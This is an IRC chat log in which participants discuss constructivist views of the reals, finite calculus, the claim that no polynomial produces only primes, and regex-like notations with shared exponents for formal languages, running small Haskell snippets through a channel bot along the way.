19:32:30 * Sgeo was about to say something about there being more reals than functuibns, but that's only functions we can.. describe? write down?
19:32:52 <alise> The set of reals is smaller than the set of functions, because uncomputable reals do not exist.
19:33:00 <Sgeo> Ah
19:33:09 <alise> If you take the meaningless view that they do "exist" - which unfortunately most mathematicians do -
19:33:15 <alise> then yes, the reals are more numerous than the computable functions.
19:33:45 <alise> But they cannot be described, they cannot be calculated; they do not have any existence more than a seemingly-meaningful but actually meaningless jumble of words that is labelled their "definition".
19:33:47 <Gregor> alise: http://en.wikipedia.org/wiki/Chaitin%27s_constant
19:33:52 -!- MizardX has quit (Ping timeout: 276 seconds).
19:33:56 <alise> Gregor: Does not exist. Look up "constructivism"
19:34:12 <fax> 1 doesn't exist
19:34:22 -!- MizardX- has changed nick to MizardX.
19:34:44 <alise> I mean exist as in "has any meaningful properties relating to its value in an abstract universe".
19:34:45 <Sgeo> I'd say something about constructivisim, but I think it's an argument against a strawman
19:35:14 <alise> Constructivism proved the four-colour theorem, bitch.
19:37:17 <alise> fax: lol my id deriv has values other than 1 i think
19:37:44 <alise> if you call it on a float
19:39:31 -!- kar8nga has joined.
19:40:24 <alise> fax: plot (];% deriv) steps 1 100 100
19:40:32 <alise> plots the derivative of %
19:40:34 <alise> works perfectly
19:41:11 <fax> show me :(
19:41:28 <alise> like what, a screenshot?
19:41:32 <fax> yeah
19:43:54 <alise> fax: uploading
19:44:45 <alise> fax: http://i.imgur.com/bg46u.png
19:45:06 <alise> that steps 1 100
19:45:10 <alise> *100 100
19:45:11 <alise> could just be steps 1 100 :P
19:45:17 <alise> it's steps start end lengthofresult
19:45:24 <fax> that's the derivative of a product?
19:45:44 <fax> oh no I see what it is
19:46:11 <alise> %x is 1%x
19:46:12 <alise> which is
19:46:14 <alise> 1
19:46:14 <alise> -
19:46:14 <alise> x
19:47:10 <alise> fax: so % deriv x is almost but not quite %x...
19:47:12 <alise> % deriv 100
19:47:12 <alise> 0.00990197
19:47:13 <alise> %100
19:47:13 <alise> 0.01
19:47:15 <fax> Most things in school aren't required for a typical 9-5 job.
19:47:15 <fax> Lets cut out art, gym, health, and science. We can just teach basic arithmetic, reading, writing, with a few word processing programs, and we're good.
19:47:22 <fax> P.S. Everything seems elitist when you are a fucking moron.
19:47:27 <alise> % deriv 100x
19:47:27 <alise> 100r10099
19:47:27 <alise> %100x
19:47:27 <alise> 1r100
19:47:32 <alise> well using rationals /didn't/ help
19:47:39 <alise> :-D
19:47:50 -!- oerjan has joined.
19:48:21 <alise> fax: Hey, basic arithmetic is not really required.
19:48:37 <oerjan> 07:55:26 <alise> 18:42:59 <oerjan> not that it's comparable to what alise_ wants anyhow... i certainly didn't enter any of it into a proof verifier.
19:48:41 <oerjan> 07:55:26 <alise> Verifier? Why, oerjan, you /start/ with the prover, not /end/ with it!
19:48:51 <oerjan> that would be a ridiculous way of doing _real_ mathematics
19:49:04 <alise> oerjan: you mean the discovery aspect?
19:49:08 <oerjan> yes
19:49:12 <alise> well yeah, the idea is
19:49:19 <Sgeo> The only thing I could actually support cutting out from fax's list is art
19:50:09 <alise> use it to fuck about with stuff -> EUREKA -> try some cases -> write down some things -> prove them bit by bit -> repeat a few dozen times until you get something that works -> check nobody else's done it -> repeat even more -> use the literate programming system to write a paper with it -> publish in Communications of the AliseLang Theorists
19:50:15 <alise> oerjan: that good enough for you? :P
19:51:36 <oerjan> the problem is that the discovery aspect of mathematics happens in my _head_, long before anything is written down.
19:51:52 <alise> naturally
19:52:02 <alise> the fucking about with stuff is just aimless masturbation in hope of inspiration :P
19:54:16 <oerjan> basically i expect (but this is of course prejudice) that the straightjacket required to actually get _anything_ into a prover will ruin the working of intuition.
19:54:47 <alise> certainly but at some point you have something working and you need to write it down to publish
19:55:04 <alise> you're expected (at least in my fantasy utopia dreamworld) to be quite formal in your notation there
19:55:09 <alise> so why not write it into a computer instead?
19:55:34 <alise> anyway of course we haven't mitigated the straitjacket. yet
19:55:49 <oerjan> i suppose. i just don't consider that to be anywhere near the _start_ of things. :D
19:56:18 <oerjan> (see your quote above)
19:56:55 <alise> yes, well - for now the mind is the best way to think of stuff
19:57:08 <alise> but I think computers can help right at the point you decide to start testing things and mutating stuff into other stuff
19:57:27 <alise> and then after you dream up the Perfect Generalised Property - a (rather long) break back to the mind - when you start proving shit
19:58:37 <alise> admittedly i have never dreamt of, or proved, /anything/ nontrivial
19:58:54 <oerjan> heh
19:59:56 <fax> alise, prove that f(x,y) = (x^2+y^2+x+2xy+3y)/2 is a bijection from N^2 --> N
20:00:27 <fax> (N = {0,1,2,3,...})
20:00:58 <oerjan> fax: in the grand scheme of things, that is also trivial
20:01:33 -!- wareya has joined.
20:01:50 <fax> There are no trivial mathematics, only trivial matehmaticians!
20:01:51 -!- wareya has changed nick to Wareya.
20:02:14 -!- Wareya has quit (Client Quit).
20:02:19 <oerjan> i expect it's the formula for an approach i've already seen, of counting minor diagonals in sequence
20:03:14 <alise> fax: prove for a,b,c in N+, n in N, n > 0, no valid choices can satisfy a^n + b^n = c^n
20:03:17 <alise> er
20:03:19 <alise> n > 2
20:03:44 <fax> :|
20:03:48 -!- wareya has joined.
20:03:56 -!- wareya has quit (Client Quit).
20:04:12 <oerjan> fax: that is equal to ((x+y)(x+y+1) + 2y)/2
20:04:32 <oerjan> or triang(x+y) + y
20:04:51 <oerjan> Q.E.D., practically
20:05:23 <alise> THIS IS THE PROBLEM WITH MATHEMATICS
20:05:33 <alise> "blah blah blah reduced form. Q.E.D."
20:05:46 <fax> oerjan fuck how did you possibly get that so fast
20:05:52 <oerjan> alise: the reduced form is "obviously" that counting minor diagonals thing
20:06:24 <alise> fax: he's a mathematician! :p
20:06:28 <oerjan> fax: i recognized x^2+y^2+2xy in there
20:06:36 <oerjan> very basic formula
20:07:03 <oerjan> and also i already know triang(n) = n(n+1)/2
20:07:31 -!- wareya has joined.
20:07:40 <fax> by the way it generalizes like C(a+b+c+2,3) + C(b+c+1,2) + C(c,1) I think
20:07:57 <oerjan> and since i already _knew_ the minor diagonal approach involves a triangle for the previous diagonals, i expected that to be there
20:07:57 <alise> http://www.ruzulu.com/find-name-origin/eliezer-yudkowsky
20:08:04 <alise> So /that's/ the origin of Yudkowsky's name.
20:08:25 <wareya> hi
20:08:29 -!- wareya has changed nick to Wareya.
20:08:31 <oerjan> hi Wareya
20:09:00 <Wareya> what's up?
20:09:10 <oerjan> something math
20:09:13 <Wareya> k
20:09:23 <oerjan> i've not yet read the logs enough to know how this started
20:10:06 <alise> oerjan: but you started it...
20:10:08 <oerjan> well actually i may have started it
20:10:31 <oerjan> alise: i sort of thought you and fax already had a conversation about math mixed into this
20:12:42 <oerjan> fax: i assume that first term is counting "pyramids"
20:12:48 <alise> oerjan: just about J
20:12:50 <alise> and finite calculus
20:12:52 <oerjan> ok
20:13:31 <oerjan> so then you would want hyperpyramids next. but that is simple using finite calculus integration iirc
20:13:52 <oerjan> i guess that's how you found this?
20:14:59 <fax> oh my god
20:15:13 <oerjan> fax: hm?
20:15:19 <fax> finite calculus!
20:16:01 <fax> how are you applying integration here?
20:16:02 <oerjan> fax: C(x,n+1) is the integral of C(x,n)
20:16:09 <fax> oh my god!!!!
20:16:22 <oerjan> you mean you didn't know? :D
20:16:25 <fax> this is so awesome :D
20:16:38 <fax> oh man I have to proof this using my finite calculus library
20:19:00 <alise> hahaha
20:19:10 <alise> dammit fax you're giving actual evidence for oerjan's synchronicity
20:19:34 <alise> fax: you'll need to define integration first mwahaha
20:19:41 <oerjan> alise: sheesh that name origin size barfs on the first letter in my name
20:19:47 <fax> I did define integral!
20:19:54 <fax> And I even proved the Fundamental THeorem
20:20:11 <oerjan> although it still manages to conclude i'm almost certainly norwegian
20:20:45 <oerjan> it thinks i may be danish. i expect that is because it doesn't recognize my first name
20:22:18 * oerjan checks out alise's name
20:22:28 <oerjan> english did come up on top, barely
20:22:36 <alise> yes
20:22:47 <alise> fax: where did you define integral
20:22:57 <pikhq> alise: That site concludes that I am English.
20:23:04 <alise> oh you did.
20:28:40 <fax> what is oerjan's synchronicity?
20:29:26 <alise> oerjan believes in synchronicity
20:29:59 <fax> me too
20:30:00 <fax> what is it?
20:30:07 <oerjan> XD
20:30:21 <oerjan> `google synchronicity
20:30:33 <fax> fungot, synchronicity?
20:30:34 <fungot> fax: maybe you shouldn't have mentioned your win by paradox in philosophy? bah, humbug :) don't have that
20:30:43 <HackEgo> Synchronicity is the experience of two or more events that are apparently causally unrelated occurring together in a meaningful manner. ... \ [14]Description - [15]Examples - [16]Criticisms and possible ...
20:31:54 <fax> hmmmm
20:31:57 <fax> so if F is the integral of f
20:32:33 <fax> F = integral of f from 0 to n...
20:32:47 <fax> then F(x+1) > F(x) + f(y)
20:32:54 <oerjan> it may of course be easier to prove directly that C(x,n) is the derivative of C(x,n+1)
20:33:03 <fax> ugh I can't this right
20:33:15 <fax> the point is that we have T(x) + y
20:33:21 <fax> and T is the integral of \y.y
20:33:41 <fax> ?hm
20:35:52 <oerjan> F(x+1) = F(x) + f(x), isn't it? i guess there is an off-by-one choice of where you start things
20:36:42 <fax> ooh
20:36:46 <fax> that's right!
20:36:55 <fax> yes so we have to actually prove that f is positive
20:37:06 <fax> (but that's trivial)
20:37:45 <oerjan> um what are you trying to prove that requires positivity?
20:38:03 <fax> F is bijective
20:38:16 <oerjan> oh
20:38:25 <oerjan> um you mean injective?
20:38:51 -!- Oranjer has joined.
20:50:59 <fax> this is so nice
20:51:16 <fax> <3 finite calculus
20:51:21 -!- alise has quit.
21:07:11 -!- Oranjer has quit (Quit: Leaving.).
21:08:43 -!- hiato has quit (Quit: underflow).
21:15:33 -!- adam_d has joined.
21:21:18 -!- adam_d has quit (Ping timeout: 276 seconds).
21:29:07 <oerjan> !haskell take 50 . map head . foldr (scanl (+)) undefined $ 0:1:2:repeat 0
21:29:32 <oerjan> grmbl
21:29:52 <fax> `daskelab
21:29:53 <HackEgo> No output.
21:30:06 <oerjan> !haskell main = print . take 50 . map head . foldr (scanl (+)) undefined $ 0:1:2:repeat 0
21:32:10 <oerjan> !haskell main = print . take 50 . map head . foldr (scanl (+)) undefined $ (0::Integer):1:2:repeat 0
21:34:01 <oerjan> oh
21:34:15 <oerjan> !haskell main = print . take 50 . foldr (scanl (+)) undefined $ 0:1:2:repeat 0
21:34:17 <EgoBot> [0,1,4,9,16,25,36,49,64,81,100,121,144,169,196,225,256,289,324,361,400,441,484,529,576,625,676,729,784,841,900,961,1024,1089,1156,1225,1296,1369,1444,1521,1600,1681,1764,1849,1936,2025,2116,2209,2304,2401]
21:35:46 <fax> that looks square
21:35:50 <oerjan> it is
21:36:43 <oerjan> it's reconstructing x^2 from its iterated differences
21:36:53 <oerjan> (at 0)
21:38:40 <fax> Hmmmm
21:38:43 <fax> this is finite calculus
21:38:45 <fax> ?
21:38:55 <oerjan> !haskell comb m n = product [m, m-1 .. m-n+1] `div` product [1..n]; main = print . take 50 $ [comb n 1 ++ 2*comb n 2 | n <- [0..]]
21:38:58 <oerjan> yep
21:39:06 <oerjan> dammit another type error
21:39:09 <fax> oerjan are you just making this up or is it from something?
21:39:25 <oerjan> i'm recalling it
21:39:34 <oerjan> there was some playing around on #haskell
21:39:39 <oerjan> long ago
21:40:34 <oerjan> !haskell comb m n = product [m, m-1 .. m-n+1] `div` product [1..n]; main = print [comb n 1 ++ 2*comb n 2 | n <- [0..49]]
21:41:01 <oerjan> *facepalm*
21:41:05 <oerjan> !haskell comb m n = product [m, m-1 .. m-n+1] `div` product [1..n]; main = print [comb n 1 + 2*comb n 2 | n <- [0..49]]
21:41:08 <EgoBot> [0,1,4,9,16,25,36,49,64,81,100,121,144,169,196,225,256,289,324,361,400,441,484,529,576,625,676,729,784,841,900,961,1024,1089,1156,1225,1296,1369,1444,1521,1600,1681,1764,1849,1936,2025,2116,2209,2304,2401]
21:41:32 <oerjan> there you go, so you can also use the combinator function for the same
21:41:52 <fax> hm
21:42:01 <fax> #haskell knows about finnite calculus???
21:42:38 <oerjan> basically comb x n has all the iterated differences at 0 = 0 except then nth, which is 1
21:43:04 <oerjan> so given those for any other polynomial, you can just combine linearly
21:43:08 <oerjan> *the nth
21:43:17 <oerjan> fax: well some people there do...
21:43:57 <oerjan> except this rewriting with comb was not from there, just something i recalled from elsewhere
21:44:17 <fax> mm
21:44:25 <oerjan> but taking iterated differences and building them back up was done in #haskell once
21:45:05 -!- fungot has quit (Ping timeout: 260 seconds).
21:45:17 <augur> hey guys
21:47:35 <oerjan> !haskell comb m n = product [m, m-1 .. m-n+1] `div` product [1..n]; diff l = zipWith (-) (tail l) l; diffs = map head . takeWhile (not null) . iterate diff; main = print . take 50 . diffs $ [comb n 3 | n <- [0..]]
21:48:01 <oerjan> i cannot get a single one typed right on first try :(
21:48:16 <oerjan> !haskell comb m n = product [m, m-1 .. m-n+1] `div` product [1..n]; diff l = zipWith (-) (tail l) l; diffs = map head . takeWhile (not . null) . iterate diff; main = print . take 50 . diffs $ [comb n 3 | n <- [0..]]
21:48:18 <EgoBot> [0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]
21:48:36 <fax> why is that 1 there?
21:48:44 <augur> magic
21:48:46 <augur> fax!
21:48:49 <fax> hi augur!
21:49:00 -!- fizzie has quit (Remote host closed the connection).
21:49:06 <augur> hows it going faxies
21:49:13 <fax> im watching twin peaks
21:49:16 <oerjan> fax: because comb 0 3 = 0, comb 0 2 = 0, comb 0 1 = 0 but comb 0 0 = 1
21:49:26 <augur> twin peaks huh
21:49:27 <fax> isn't it comb 3 3 = 1?
21:49:30 <fax> oh
21:52:41 <augur> so fax, ive been thinking
21:52:49 <oerjan> !haskell comb m n = product [m, m-1 .. m-n+1] `div` product [1..n]; diff l = zipWith (-) (tail l) l; diffs = map head . takeWhile (not . null) . iterate diff; rebuild l = foldr (scanl (+)) undefined (l++repeat 0); main = print . take 50 . rebuild . diffs $ [0,1,4]
21:52:52 <EgoBot> [0,1,4,9,16,25,36,49,64,81,100,121,144,169,196,225,256,289,324,361,400,441,484,529,576,625,676,729,784,841,900,961,1024,1089,1156,1225,1296,1369,1444,1521,1600,1681,1764,1849,1936,2025,2116,2209,2304,2401]
21:52:56 <augur> i think there's an interesting class of formal languages worth investigating
21:53:05 <fax> yes the linear time parsible ones?
21:53:14 <augur> indeed
21:53:16 <augur> but more importantly
21:53:24 <oerjan> fax: see you can use it to guess which polynomial you have from the first few terms
21:53:48 <fax> oerjan, wait it figures out a polynomial from a finte portion of the sequence?
21:53:52 <augur> the ones that are transparently representable in simple linear format
21:53:54 <oerjan> fax: yep
21:54:06 <oerjan> as long as you have more terms than the degree of the polynomial, it works
21:54:22 <fax> !haskell comb m n = product [m, m-1 .. m-n+1] `div` product [1..n]; diff l = zipWith (-) (tail l) l; diffs = map head . takeWhile (not . null) . iterate diff; rebuild l = foldr (scanl (+)) undefined (l++repeat 0); main = print . take 50 . rebuild . diffs $
21:54:30 <oerjan> rebuild could also be written using comb, naturally
21:54:34 <fax> !haskell comb m n = product [m, m-1 .. m-n+1] `div` product [1..n]; diff l = zipWith (-) (tail l) l; diffs = map head . takeWhile (not . null) . iterate diff; rebuild l = foldr (scanl (+)) undefined (l++repeat 0); main = print . take 50 . rebuild . diffs $ [2,3,5,7,11,13,17]
21:54:37 <EgoBot> [2,3,5,7,11,13,17,72,332,1139,3129,7361,15469,29837,53797,91850,149910,235571,358397,530235,765551,1081789,1499753,2044012,2743328,3631107,4745873,6131765,7839057,9924701,12452893,15495662,19133482,23455907,28562229,34562159,41576531,49738029,59191937,70096912,82625780,96966355,113322281,131913897,152979125,176774381,203575509,233678738,267401662,305084243]
21:54:45 <oerjan> heh
21:54:46 <fax> 72 isn't prime :|
21:54:56 <oerjan> indeed
21:55:09 <oerjan> and it is well known that no polynomial can give only primes
21:55:26 -!- fizzie has joined.
21:55:55 <fax> oerjan, even if you count -2, -3 etc as primes -- but I don't know how to prove it
21:55:56 <augur> ok brb
21:56:15 <oerjan> that is presumably the sixth degree polynomial that starts with the given primes first
21:56:45 <fax> there IS a polynomial which gives the set of primes + a bunch of random negative integers
21:57:06 <oerjan> yeah. it is not a polynomial in one variable, though, iirc.
21:57:33 <fax> there is a proof in my book (about the not giving only primes thing) but I have been trying to figure it out myself
21:57:51 <oerjan> ok i'll not think about it then :)
21:58:09 <fax> you wont??
21:58:16 -!- Oranjer has joined.
21:58:21 <oerjan> well not aloud anyway
21:58:28 <fax> oh feel free :)
21:58:36 <fax> I have been on it two days and not got it
21:58:39 <oerjan> it's actually quite trivial
21:59:18 <oerjan> if p(x) = a_n*x^n + a_(n-1)*x^(n-1) + ... + a_1*x + a_0 is your polynomial
22:00:00 <oerjan> hm wait
22:00:24 <oerjan> choosing x a product of a_0 isn't quite guaranteed
22:01:04 <oerjan> oh, except if it's _large_ enough, it has to be different from a_0 itself
22:01:25 <oerjan> so that shows it
22:01:41 <oerjan> if a_0 is 0, just choose x to be any non-prime
22:01:58 -!- augur has quit (Read error: Connection reset by peer).
22:03:27 * fax doesn't undersatnd :/
22:03:35 <oerjan> as x -> infinity, so does the polynomial
22:03:35 <fax> but it's meant to be for multivariate ones too
22:03:39 <oerjan> oh
22:03:53 <fax> but there are infinite primes
22:04:01 <oerjan> well i'm not sure of that proof
22:04:38 <oerjan> fax: if you choose x divisible by a_0, then p(x) is divisible by a_0, so not a prime unless it is equal to a_0. if x is large enough that cannot happen.
22:04:50 <fax> when I give up on proofs they are always SO OBVIOUS it makes me annoyed
22:05:18 <fax> oerjan, oh that is clever!
22:05:33 -!- augur has joined.
22:05:41 <oerjan> i would guess something similar works for multivariate polynomials too, they can still have only one constant term after all
22:05:59 <fax> but I don't really understand it
22:06:19 <oerjan> (choose _all_ the variables divisible by the constant term)
22:06:21 <fax> because there is a (26 variable) polynomial whos positive values are all primes
22:06:44 <oerjan> fax: yeah but i've not proved that p(x) cannot be negative
22:07:07 <oerjan> only that it cannot be a positive prime
22:07:45 <fax> ;S
22:07:55 <oerjan> huh?
22:08:02 <fax> p(x) can be prime
22:08:14 <oerjan> *cannot always
22:08:42 <fax> but oerjan doesn't that contradict the 26-var polynomial?
22:09:46 <fax> the thing is you can have negative coefficents too
22:09:48 <oerjan> no! if you choose all variables divisible by the constant term, you probably force the polynomial to be negative
22:09:58 <fax> mm
22:10:46 -!- songhead95 has joined.
22:11:17 -!- augur has quit (Quit: Leaving...).
22:11:31 <songhead95> Hello, if I knew a better place to discuss this I would, but this seems like a good place.
22:11:41 <songhead95> I was thinking of designing an esoteric operating system.
22:11:51 <songhead95> Based on Super Mario Bros.
22:12:24 <Oranjer> oh really now?
22:12:28 <songhead95> es
22:12:29 <songhead95> yes
22:12:31 * oerjan carefully scuttles away from the madman :D
22:12:31 <Oranjer> expound please
22:12:38 <songhead95> you go down tubes to enter programs
22:13:24 <songhead95> on another part of the screen is another mario, in an array of blocks with different QWERTY keyboard keys on them, and when you hit a block, the keystroke is injected
22:13:36 <songhead95> the keyboard is two NES controllers
22:13:42 <songhead95> or something
22:14:20 <fax> oerjan, what if the constant is prime?
22:17:11 <oerjan> fax: that's why you need to make the other variables large enough that the polynomial cannot be that value
22:17:34 <oerjan> only something divisible by it
22:17:50 <fax> oh right!
22:18:15 <Oranjer> so a physically transversable OS environment
22:18:45 <oerjan> i suppose if you have more than one variable you need to take care somehow that their largeness doesn't cancel out
22:19:09 <fax> hm
22:19:31 <fax> can you make a nonzero multivariate polynomial whos absolute value is always below some constant
22:19:36 <fax> nonconstant*
22:19:43 <oerjan> i doubt it
22:20:34 <oerjan> first, you only need to look at the terms of largest degree (the others will vanish in comparison in the limit)
22:20:55 <oerjan> but if there is more than one such term they might cancel
22:21:08 <oerjan> x^m y^n - x^n y^m say
22:21:11 <fax> yeah
22:22:06 <oerjan> actually, you can start by looking at the variable with largest term alone
22:22:20 <oerjan> x^n * something in the other variables
22:22:35 <oerjan> if that something is not 0, then you only need to blow up x
22:24:24 <oerjan> oh right and we can use induction to choose the other variables such that it is not zero :D
22:24:54 -!- augur has joined.
22:24:56 <oerjan> that something is after all a polynomial in the remaining variables, one variable less
22:25:01 <augur> O HAI
22:25:15 <oerjan> so by induction we can make it nonzero (in fact as large as we wish)
22:25:25 <fax> wow
22:25:59 <oerjan> and after we've done that the other variables are fixed, even if large, so we can blow up x even more
22:26:14 <oerjan> *possibly large
22:27:18 <songhead95> is there any sites dedicated to esoteric operating systems?
22:27:47 <oerjan> songhead95: afaik there is only one community for all things esoteric, and you are there
22:28:12 <songhead95> k kool
22:28:19 <oerjan> see also our wiki
22:28:23 <songhead95> esolangs?
22:28:26 <oerjan> yeah
22:28:33 <songhead95> seen, and contributed
22:28:43 <oerjan> oh right
22:29:01 <songhead95> have my own language :]
22:29:16 <fax> I wish I was better at this myself :D
22:29:25 <oerjan> there might be some other sites for specific things (lolcode?) with "mass appeal"
22:29:47 <oerjan> (note lolcode is considered too vanilla here, or something :) )
22:30:34 <oerjan> and of course there are sites of individual esolangers.
22:31:12 <augur> so fax
22:31:16 <augur> lets try to work on this :o
22:31:29 <songhead95> whatcha talkin bout?
22:31:53 <oerjan> i don't know what augur is talking about
22:32:11 <augur> i wasnt talkting to oerjan so it doesnt matter :D
22:32:16 <augur> tho oerjan
22:32:19 <augur> what im talking about
22:32:27 <fax> augur what exactly
22:32:34 <oerjan> i thought fax was talking to me, so i don't understand what "this" you would be referring to
22:32:42 <fax> I was
22:32:48 <augur> is a class of formal languages that can be compactedly expressed in a regular expression like form
22:32:53 <songhead95> well ok then...
22:34:12 <oerjan> augur: and you joined after songhead95 so i was assuming you weren't referring to his project
22:34:25 <augur> :P
22:35:51 <oerjan> augur: oh that more than CF thing i briefly saw you mention?
22:36:17 <augur> sort of. there seems to be a class of languages which cut across various levels
22:36:32 <oerjan> linear time, you said
22:36:42 <augur> which can be parsed in linear time and which have the convenient property of being describably in compact, Regex-like form
22:36:43 <fax> I don't know what you are talking about augur
22:36:51 <oerjan> so, they are all context sensitive, since that includes everything linear _space_
22:36:53 <fax> point free
22:36:56 <fax> ?
22:37:22 <augur> oerjan: i dont know if they're all CS
22:37:39 <augur> i dont know much about them, i dont think they're a previously investigated class
22:38:16 <oerjan> augur: i vaguely recall somewhere reading that there aren't any concrete examples (at least not naturally occuring) of CF languages not parsable in linear time if you can walk around in the string, or something like that
22:38:25 <augur> ok
22:38:49 <oerjan> augur: it's just an observation from the known fact that CS languages == languages parsable in linear space
22:39:00 <oerjan> and linear time is a subset of linear space
22:39:12 <augur> ok.
22:39:25 <augur> anyway
22:39:45 <augur> the language a^n b^n c^n is classically non-CF but its lineartime and obviously regexlike
22:40:10 <augur> since you could just use that like the regex. or using standardish notation, a{n}b{n}c{n}
22:40:15 <augur> and thats completely linear time
22:40:22 -!- songhead95 has left (?).
22:40:27 <augur> infact, a{n}b{n}c{n}d{n}... etc
22:40:36 <oerjan> yeah
22:40:43 <fax> REGEX + numbers?
22:40:44 <augur> infact, for _arbitrary different powers, in _arbitrary_ orders
22:40:50 <fax> exponentiation
22:40:57 <augur> not just exponentiation
22:41:04 <augur> linked exponentiation
22:41:24 <augur> even classically hard linguistic phenomena like cross-serial dependencies are possible
22:41:36 <augur> e.g. a^m b^n c^m d^n
22:41:37 <fax> surely you can't parse stuff like (a{n}){m} in linear time?
22:41:47 <augur> probably not.
22:41:58 <fax> (I think that is the compliment of primes?)
22:42:04 <fax> unary
22:42:12 <augur> well, (a^m)^n might be. it depends on your interpretation of that, right
22:42:34 <augur> i mean, you could interpret that the following two ways
22:42:48 <oerjan> fax: hm you'd have to be able to do a prime check on mn in time O(mn), that sounds doable
22:43:02 <augur> thats either a^(m*n), so just a^m
22:43:47 <augur> OR you could interpret that as a^(m_0) a^(m_1) ... a^(m_n) for different m's each time
22:43:50 <oerjan> oh right you need m,n>=2. but i assume that's easy to rephrase.
22:43:58 <augur> which is i suppose also just a^m
22:44:21 <augur> you need multiple symbols to get intrigue
22:44:28 <augur> (a^m b^m)^n
22:44:40 <oerjan> augur: make it (a^m)^n a^m a^n a
22:44:45 <augur> or that
22:44:46 -!- werdan7 has quit (Ping timeout: 619 seconds).
22:44:56 <augur> i dont know if those are linear time
22:45:16 <augur> but importantly, they're conveniently trivial to represent
22:45:24 <oerjan> augur: i think they are. you can store the numbers you've counted in binary, after all
22:45:39 <oerjan> so arithmetic is likely much _less_ than linear in the whole thing
22:45:48 <augur> actually, i think a^(m*n) a^m a^n a is probably not complicated
22:45:52 <augur> it might even be CF
22:46:13 <oerjan> augur: it's a^((m+1)*(n+1))
22:46:26 <augur> lets see
22:46:38 <fax> huh
22:46:40 <oerjan> ok if m, n can be zero we've still got nowhere
22:46:47 <fax> we can put arbitrary polynomials like this?
22:46:52 <fax> a^(P(x,y,z,w))
22:47:06 <augur> well but see then the question is whether or not P is valid in that, right
22:47:08 <fax> then it can be unary representation of any recursive set :P
22:47:26 <augur> because arguably, { p(w) : w in {a,b}* }
22:47:28 <oerjan> fax: if we can nest (a^m)^n it's just a matter of expanding the polynomial back using the distributive law
22:47:31 <augur> where p is the permute function
22:47:35 <augur> is linear time
22:47:46 <augur> the language is just the Bach/MIX language
22:48:19 <augur> but permutation seems to be a valid thing to have in such a simple notation
22:48:32 <augur> or is it?
22:48:51 <augur> i mean, this is what im not sure about.
22:49:38 <augur> even _if_ such a thing were accepted, tho, i dont think the grammar for, say, simple math expressions, would be expressable.
22:50:14 <augur> e.g. exp -> 0 | ... | 9 | (exp op exp) ; op -> + | - | * | /
22:50:30 <oerjan> augur: i just said that polynomials can be expanded. a^(p(...)+q(...)) = a^p(...) a^q(...) etc.
22:50:31 -!- werdan7 has joined.
22:50:54 <augur> im pretty sure that thats not possible to describe with the sort of transparent stuff we're talking about, so.
22:51:22 <oerjan> augur: if you have (a^m)^n, then you have all you need to expand things
22:51:32 <augur> to what now?
22:51:38 <oerjan> to _that_
22:51:45 <augur> i dont follow
22:52:41 <oerjan> e.g. a^(m^2 + m*n + 2*n) = (a^m)^m (a^m)^n a^n a^n
22:53:00 <augur> oh, right
22:53:13 <augur> but the question was wheat power is required for the (a^m)^n part
22:54:09 <oerjan> augur: well i'm pretty sure (a^m)^n _alone_ can be parsed in linear time, even with m, n >= 2 restriction. whether it can be combined with other things is another matter.
22:54:22 <augur> right
22:54:44 <oerjan> in fact given we just mentioned that 26-variable polynomial giving the primes, we might have some trouble :D
22:55:06 <oerjan> otoh that has negative coefficients. those might be trouble in themselves.
22:55:33 <augur> probably.
22:56:19 <augur> im curious tho precisely what the computational class of these things are
22:56:24 <augur> because theyre not the CS languages
22:56:29 <fax> augur of what?
22:57:29 <oerjan> yeah we haven't got the precise definition yet
22:58:06 <augur> lets say of languages describable using just the regular processes (e.g. |, ?, +, *, concateenation, subtraction)
22:58:15 <augur> plus coindexed exponentiation, say
22:58:44 <fax> coindexed? :(
22:58:50 <augur> a^n b^n
22:58:50 <fax> is that like variables numbers only
22:58:57 <fax> mm okay
22:59:08 <oerjan> augur: and that is the class you've heard is linear time?
22:59:10 <augur> where you share the exponent
22:59:23 <augur> oerjan: that is the class that im interested in, which i suspect might be linear time
22:59:27 <oerjan> exponents can be just single variables, then?
22:59:41 <augur> because it seems to be a trivial addition to regular expressions that let them handle INCREDIBLY non-regular languages
22:59:45 <oerjan> augur: oh i thought this was some known class you were referring to?
22:59:51 <augur> no
22:59:57 <augur> thats why im interested in them
23:00:03 <augur> im fairly certain theyre _not_ known
23:00:11 <fax> well this language AUG is equivalent to having {n+3} type indices, because you can just expand them out
23:00:19 <augur> :p
23:00:28 <augur> theres also another class you might imagine
23:00:31 <fax> you can also multiply them, because (X{a}){b} = X{a*b}
23:00:38 <augur> regular languages + stack operations
23:00:57 <oerjan> ok. i am now suspecting things might get hairy (possibly nonlinear) if you allow exponents to nest
23:01:05 <augur> e.g. if you had a global stack, you can push and pop to the stack each time you read something of a certain nature
23:01:16 <oerjan> because of having all those polynomials
23:01:21 * fax doesn't lik stacks :(
23:01:53 <augur> e.g. lets say that {+x} means push x, and {-x} means pop x, then a{+x}*b{-x}* i think would generate a^n b^n
23:02:24 <augur> so thats basically a*b* but each time you read an a you push an x to the stack, and each time you read a b you pop an x from the stack
23:03:02 <augur> and the language is recognized if the whole string is consumed, the stack ends up empty, and at no point do you fail to be able to pop a symbol
23:03:07 <augur> if you need to pop it.
23:04:30 -!- kar8nga has quit (Remote host closed the connection).
23:05:56 <oerjan> oh food ->
23:05:56 <augur> i think that would generate a similar class of languages but not the _same_ class
23:06:07 <augur> like, if you had named stacks, you could do
23:06:47 <augur> a{a+x}*b{b+x}*c{a-x}*d{b-x}*
23:07:03 <augur> where a{a+x} pushes an x to the stack named a
23:07:04 <augur> etc
23:07:52 <augur> and that would generate the language a^m b^n c^m d^n but using that you couldnt get one extra exponent to m at the end
23:07:56 <augur> because the a stack would be empty
23:08:04 <augur> but if you could push to multiple stacks who knows!
23:09:03 <augur> a{a+x,b+x}*b{a-x}*c{b-x} which i think would generate a^m a^n b^n c^m
23:09:08 <augur> which is trivially CF
23:09:23 <augur> but you could use that interestingly
23:14:33 -!- tombom has quit (Quit: Leaving).
23:17:23 -!- kwertii has joined.
23:18:25 <oerjan> well that stack thing is at least in NP... since you can always guess
23:19:01 <oerjan> oh hm
23:19:19 <oerjan> if you have multiple stacks then you can copy them
23:19:40 <oerjan> {-x}{+y}{+y}
23:20:53 <oerjan> i have a suspicion that might give you a minsky machine - something TC, definitely not linear
23:21:21 <augur> mm i dont know
23:21:38 <oerjan> er
23:21:57 <oerjan> * {a-x}{b+x}{c+x}
